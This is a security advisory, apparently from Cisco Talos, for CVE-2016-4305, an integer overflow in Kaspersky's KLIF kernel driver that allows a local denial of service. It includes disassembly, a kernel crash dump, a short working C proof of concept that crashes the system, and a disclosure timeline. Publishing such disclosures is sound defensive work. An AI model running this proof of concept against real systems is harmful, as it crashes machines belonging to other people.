CVE-2016-4305
A denial of service vulnerability exists in the syscall filtering functionality of Kaspersky Internet Security KLIF driver. A specially crafted native api call can cause a access violation in KLIF kernel driver resulting in local denial of service. An attacker can run program from user mode to trigger this vulnerability.
Kaspersky Internet Security 16.0.0, KLIF driver version 10.0.0.1532
5.5 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
This vulnerability can be triggered by sending specially crafted NtAdjustTokenPrivileges call. Kaspersky x86 platforms by default hooks internal Windows kernel functions. This includes functions from KiServiceTable and W32pServiceTable. Even though new function hooks point to the KLHK driver the real ones are located in the KLIF driver - KLHK driver acts more like a dispatcher.
The faulting code is located in the KLIF driver in a function responsible for filtering the NtAdjustTokenPrivileges:
PAGE:000A218C mov ecx, [ebp+var_14_copyTokenPrivleges_Count] ; !
PAGE:000A218F test ecx, ecx
PAGE:000A2191 jz short loc_A21D5
PAGE:000A2193 cmp ecx, 1
PAGE:000A2196 jnz short loc_A219E
PAGE:000A2198 push ecx
PAGE:000A2199 lea eax, [ebp+var_10]
PAGE:000A219C jmp short loc_A21CA
PAGE:000A219E ; ---------------------------------------------------------------------------
PAGE:000A219E
PAGE:000A219E loc_A219E: ; CODE XREF: ntHANDLER_NtAdjustPrivilegesToken+F4j
PAGE:000A219E imul ecx, 0Ch ; !!
PAGE:000A21A1 push 'puLK' ; Tag
PAGE:000A21A6 push 1 ; PoolType
PAGE:000A21A8 add ecx, 4 ; !!!
PAGE:000A21AB push ecx ; NumberOfBytes
PAGE:000A21AC push [ebp+var_1C_pNewState] ; void *
PAGE:000A21AF lea eax, [ebp+P]
PAGE:000A21B2 push eax ; int
PAGE:000A21B3 call AllocAndCopySafe
PAGE:000A21B8 mov esi, eax
PAGE:000A21BA test esi, esi
PAGE:000A21BC js loc_A211F
PAGE:000A21C2 mov eax, [ebp+P]
PAGE:000A21C5 push dword ptr [eax] ; int
PAGE:000A21C7 add eax, 4
PAGE:000A21CA
PAGE:000A21CA loc_A21CA: ; CODE XREF: ntHANDLER_NtAdjustPrivilegesToken+FAj
PAGE:000A21CA push eax ; void *
PAGE:000A21CB call sub_A889A
.............
PAGE:000A88A9 cmp [ebp+arg_4_TokenPrivilegeCount], esi
PAGE:000A88AC jbe loc_A893A
PAGE:000A88B2 push ebx
PAGE:000A88B3 mov ebx, [ebp+arg_0]
PAGE:000A88B6
PAGE:000A88B6 loop_continue: ; CODE XREF: sub_A889A+96j
PAGE:000A88B6 mov eax, ds:SeExports
PAGE:000A88BB mov edx, [ebx] ; memory read, crash
PAGE:000A88BD mov ecx, [eax]
PAGE:000A88BF cmp [ecx+90h], edx
PAGE:000A88C5 jnz short loc_A88D2
PAGE:000A88C7 mov eax, [ecx+94h]
PAGE:000A88CD cmp eax, [ebx+4]
PAGE:000A88D0 jz short loc_A88F2
.............
PAGE:000A8923 loc_A8923: ; CODE XREF: sub_A889A+4Ej
PAGE:000A8923 ; sub_A889A+56j ...
PAGE:000A8923 mov eax, [ebp+var_4]
PAGE:000A8926 inc eax
PAGE:000A8927 add ebx, 0Ch ; increase memory
PAGE:000A892A mov [ebp+var_4], eax
PAGE:000A892D cmp eax, [ebp+arg_4_TokenPrivilegeCount]
PAGE:000A8930 jb short loop_continue
At 0x000A218C ECX is initialized by TOKEN_PRIVILEGES.PrivilegeCount supplied by attacker. This value is later multiplied (at 0x00A219E) and increased (0x000A21A8) which can lead to integer overflow. For example by supplying TOKEN_PRIVILEGES.PrivilegeCount to be 0x80000000 we can force the ecx after final calculation to be 0x4. This allows the attacker to pass security checks in the AllocAndCopySafe procedure testing whether user supplied data is located in user mode memory etc.
The crash happens in the “sub_A889A” routine which takes the forged TOKEN_PRIVILEGES.PrivilegeCount and bases a loop iteration on this value. So for example attacker can force loop to be executed 0x80000000 times. Since by each loop iteration the requested memory address for read operation is increased, sooner or later KLIF driver will access unavailable memory which will lead to system crash.
KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)
This is a very common bugcheck. Usually the exception address pinpoints
the driver/function that caused the problem. Always note this address
as well as the link date of the driver/image that contains this address.
Some common problems are exception code 0x80000003. This means a hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG. This is not supposed to happen as developers should never have
hardcoded breakpoints in retail code, but ...
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG. This will let us see why this breakpoint is
happening.
Arguments:
Arg1: c0000006, The exception code that was not handled
Arg2: 8b8ce8bb, The address that the exception occurred at
Arg3: 8200fae4, Trap Frame
Arg4: 00000000
Debugging Details:
------------------
EXCEPTION_CODE: (NTSTATUS) 0xc0000006 - Instrukcja spod 0x%p odwo
FAULTING_IP:
klif+988bb
8b8ce8bb 8b13 mov edx,dword ptr [ebx]
TRAP_FRAME: 8200fae4 -- (.trap 0xffffffff8200fae4)
ErrCode = 00000000
eax=82baf700 ebx=91c00008 ecx=82baf708 edx=00000012 esi=00000000 edi=00000000
eip=8b8ce8bb esp=8200fb58 ebp=8200fb68 iopl=0 ov up ei ng nz na pe cy
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010a87
klif+0x988bb:
8b8ce8bb 8b13 mov edx,dword ptr [ebx] ds:0023:91c00008=????????
Resetting default scope
DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT
BUGCHECK_STR: 0x8E
PROCESS_NAME: poc_kaspersky1
CURRENT_IRQL: 2
ANALYSIS_VERSION: 6.3.9600.17298 (debuggers(dbg).141024-1500) amd64fre
LAST_CONTROL_TRANSFER: from 82923083 to 828bf110
STACK_TEXT:
8200f09c 82923083 00000003 750dac45 00000065 nt!RtlpBreakWithStatusInstruction
8200f0ec 82923b81 00000003 8200f4f0 00000000 nt!KiBugCheckDebugBreak+0x1c
8200f4b0 82922f20 0000008e c0000006 8b8ce8bb nt!KeBugCheck2+0x68b
8200f4d4 828f908c 0000008e c0000006 8b8ce8bb nt!KeBugCheckEx+0x1e
8200fa74 82882dd6 8200fa90 00000000 8200fae4 nt!KiDispatchException+0x1ac
8200fadc 8288551b 8200fb68 8b8ce8bb badb0d00 nt!CommonDispatchException+0x4a
8200fadc 8b8ce8bb 8200fb68 8b8ce8bb badb0d00 nt!KiTrap0E+0x21f
WARNING: Stack unwind information not available. Following frames may be wrong.
8200fb68 8b8c81d0 91a762f4 80000000 8200fbd8 klif+0x988bb
8200fbb8 8b92d05a 00000040 00000000 0016fb94 klif+0x921d0
8200fbe0 8b92e206 8b8c80a2 8200fc1c 00000018 klhk!Ordinal11+0x1a
8200fbfc 8b92d01f 85f91008 8200fc1c 8200fc10 klhk!Ordinal11+0x11c6
8200fc14 828821ea 00000040 00000000 0016fb94 klhk+0x101f
8200fc14 776370b4 00000040 00000000 0016fb94 nt!KiFastCallEntry+0x12a
0016fb44 77635274 75819c7c 00000040 00000000 ntdll!KiFastSystemCallRet
0016fb48 75819c7c 00000040 00000000 0016fb94 ntdll!ZwAdjustPrivilegesToken+0xc
0016fb6c 01171059 00000040 00000000 0016fb94 KERNELBASE!AdjustTokenPrivileges+0x1e
0016fc00 011718cf 0016fc14 77313c45 7ffda000 poc_kaspersky1+0x1059
0016fc08 77313c45 7ffda000 0016fc54 776537f5 poc_kaspersky1+0x18cf
0016fc14 776537f5 7ffda000 777b190c 00000000 kernel32!BaseThreadInitThunk+0xe
0016fc54 776537c8 011718c0 7ffda000 00000000 ntdll!__RtlUserThreadStart+0x70
0016fc6c 00000000 011718c0 7ffda000 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: kb
FOLLOWUP_IP:
klif+988bb
8b8ce8bb 8b13 mov edx,dword ptr [ebx]
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: klif+988bb
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: klif
IMAGE_NAME: klif.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 563cb397
IMAGE_VERSION: 10.0.0.1532
FAILURE_BUCKET_ID: 0x8E_klif+988bb
BUCKET_ID: 0x8E_klif+988bb
ANALYSIS_SOURCE: KM
FAILURE_ID_HASH_STRING: km:0x8e_klif+988bb
FAILURE_ID_HASH: {f73b483f-fbd2-23f7-3bf6-f0e859f2245f}
Followup: MachineOwner
---------
#include <stdio.h>
#include <windows.h>
int main(void)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp2;
TOKEN_PRIVILEGES tp;
memset(&tp, 0xCC, sizeof(TOKEN_PRIVILEGES));
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
tp.PrivilegeCount = 0x80000000;
DWORD out_size = sizeof(TOKEN_PRIVILEGES);
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), &tp2, &out_size);
return 0;
}
2016-04-29 - Vendor Notification
2016-08-26 – Patch Released
2016-08-26 – Public Disclosure
Discovered by Piotr Bania of Cisco Talos.